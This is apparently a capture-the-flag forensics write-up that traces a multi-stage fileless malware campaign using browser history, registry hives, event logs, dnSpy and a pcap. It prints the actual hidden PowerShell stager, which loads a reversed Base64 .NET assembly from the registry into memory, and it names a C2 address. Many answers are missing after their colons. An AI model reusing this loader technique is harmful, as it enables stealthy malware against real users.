HORUS Ra: Multi-Stage Fileless Malware DFIR & Horus Protector

Question: What is the complete download URL from which the initial malware was retrieved?

To identify where the intrusion began, we examine the victim workstation’s web browser history. Inspecting the user profile under C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\, we extract the SQLite database file History.

Opening History inside DB Browser for SQLite and navigating to the downloads table reveals the exact download event for Report.zip:

Question: With reference to the MITRE ATT&CK framework, identify the technique ID corresponding to the method used to disguise the malicious file.

Checking the user’s Downloads folder and recent interaction artifacts under AppData\Roaming\Microsoft\Windows\Recent\, we observe that the compressed archive Report.zip unpacked into a suspicious file named:

By appending a trusted document extension (.pdf) before the executable VBScript Encoded extension (.vbe), the threat actor tricks Windows File Explorer into masking the executable nature of the file. In the MITRE ATT&CK Matrix, this technique falls under Masquerading: Double File Extension.

Question: Identify the PowerShell command launched following the opening of the malicious file.

When investigating execution artifacts, standard console history (ConsoleHost_history.txt) may be blank if launched by a script. We turn to Windows Event Logs at C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx.

Filtering on Event ID 400 (Engine State Transition) and inspecting the HostApplication property captures the exact stager command executed by the VBE script:

powershell.exe -WindowStyle Hidden -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -Path 'HKCU:\Software\esBbIgyFlZcXjUl' -Name 's').s | ForEach-Object { $_[-1..-($_.Length)] }))); [v.v]::v('esBbIgyFlZcXjUl')

Deobfuscation Rationale: The command retrieves the registry string HKCU:\Software\esBbIgyFlZcXjUl\s, reverses its characters ($_[-1..-($_.Length)]), decodes the resulting Base64 string into raw .NET assembly bytes, and loads it straight into volatile memory via [AppDomain]::CurrentDomain.Load(...).

Question: What is the SHA-256 hash of the first-stage executable, which serves as the entry point for the execution of stage two?

Opening the user hive C:\Users\Administrator\NTUSER.DAT in Registry Explorer, we navigate to:

We extract the string stored inside the value named s. Reversing the character order and passing the string through CyberChef (Reverse → From Base64) recovers the raw Windows PE binary (Stager-1.exe).

Question: Stager-2 initially constructs potential file paths to launch a process and perform code injection. What process will be spawned to deliver the injected code?

Examining the other registry values under HKCU\Software\esBbIgyFlZcXjUl, the value named i (denoting injection target) explicitly defines the Microsoft .NET surrogate process to be hollowed out:

Question: In the second-stage routine, the malware verifies the system’s country/language before downloading an additional payload. What literal string does it check for?

The value named r in the same registry key contains the second-stage executable in reversed format. After inverting the byte stream and saving it as Stager-2.exe, we decompile the .NET assembly in dnSpy.

In the execution routine, the malware queries InputLanguage.CurrentInputLanguage.TwoLetterISOLanguageName (checking for "fr") and verifies that geolocation telemetry contains the literal string:

Question: What is the name of the malware distribution service responsible for this campaign?

In Stager-2, once the France geolocation check passes, the malware attempts to download secondary payload staging files from 144.91.92.251/MoDi.txt.

Correlating this C2 indicator (144.91.92.251) and the infection chain (VBE script → Registry Stager → France Geofencing → MoDiRAT) against cybersecurity threat intelligence reports from SonicWall and Seqrite reveals the distribution infrastructure:

Question: In the final payload stage, what class handles credential theft from browsers and mail applications?

Navigating to the registry subkey HKCU\Software\esBbIgyFlZcXjUl\donn, the threat actor fragmented the final compiled payload across 8 chunks: segment1 through segment8.

Rather than manually copying and converting 8 hex values, we can write an automated Python script leveraging python-registry to extract all chunks directly from NTUSER.DAT, reverse the hex payload, and parse the resulting .NET metadata dynamically using dnfile:

import dnfile
from Registry import Registry

# 1. Open the Administrator's NTUSER.DAT registry hive
triage_ntuser = r"C:\CTFS\Icat\1\Triage\C\Users\Administrator\NTUSER.DAT"
reg = Registry.Registry(triage_ntuser)

# 2. Extract and reassemble the 8 segments from the 'donn' subkey
donn_key = reg.open(r"Software\esBbIgyFlZcXjUl\donn")
full_hex = "".join(donn_key.value(f"segment{i}").value() for i in range(1, 9))

# 3. Reverse the hex string to recover the original PE bytes
pe_bytes = bytes.fromhex(full_hex[::-1])

# 4. Parse the .NET metadata in memory using dnfile
dn = dnfile.dnPE(data=pe_bytes)

# 5. Locate the stealer class and inspect its methods
for t in dn.net.mdtables.TypeDef:
    if t.TypeName == "COVIDPickers":
        print("Class Name:", t.TypeName)
        methods = [m.row.Name for m in t.MethodList]
        mail_methods = [
            m for m in methods 
            if any(app in m for app in ["Outlook", "Foxmail"]) and ("Speed" in m or "Passwords" in m)
        ]
        browser_methods = [
            m for m in methods 
            if any(app in m for app in ["Chrome", "Microsoft", "Opera", "Brave"])
        ][:3]

        print("Mail Methods   :", mail_methods)
        print("Browser Methods:", browser_methods)

Class Name: COVIDPickers
Mail Methods   : ['Outlook_Speed', 'GetOutlookPasswords', 'Foxmail_Speed']
Browser Methods: ['Chrome_Canary_Speed', 'Chrome_Speed', 'Microsoft_Speed']

Question: What is the full path of the malicious file that maintains persistent access for the attacker?

Inspecting Windows Scheduled Tasks under C:\Windows\System32\Tasks\, we identify a rogue task named esBbIgyFlZcXjUl.

Parsing the XML task definition reveals the target file executed at user logon to maintain persistence:

Question: What destination IP address and port number did the attacker use to initiate data exfiltration?

Switching from disk triage to network traffic analysis, we open Outbound-Traffic.pcap in Wireshark.

Filtering for external TCP connections reveals continuous non-standard outbound traffic establishing connections to port 2025:

Question: What RAT name and version were used during the campaign?

Performing a Follow TCP Stream on the outbound session to port 2025 reveals the staging handshake protocol:

Decoding the Base64 payload (Startup.dll) in CyberChef and inspecting the embedded debug directory strings reveals the developer’s local PDB symbol path:

Question: What operator tag is consistently appended to the metadata of each exfiltration request?

Examining the subsequent telemetry and beaconing packets within the stream, every exfiltrated credential bundle and client heartbeat prepends a static operator campaign identifier: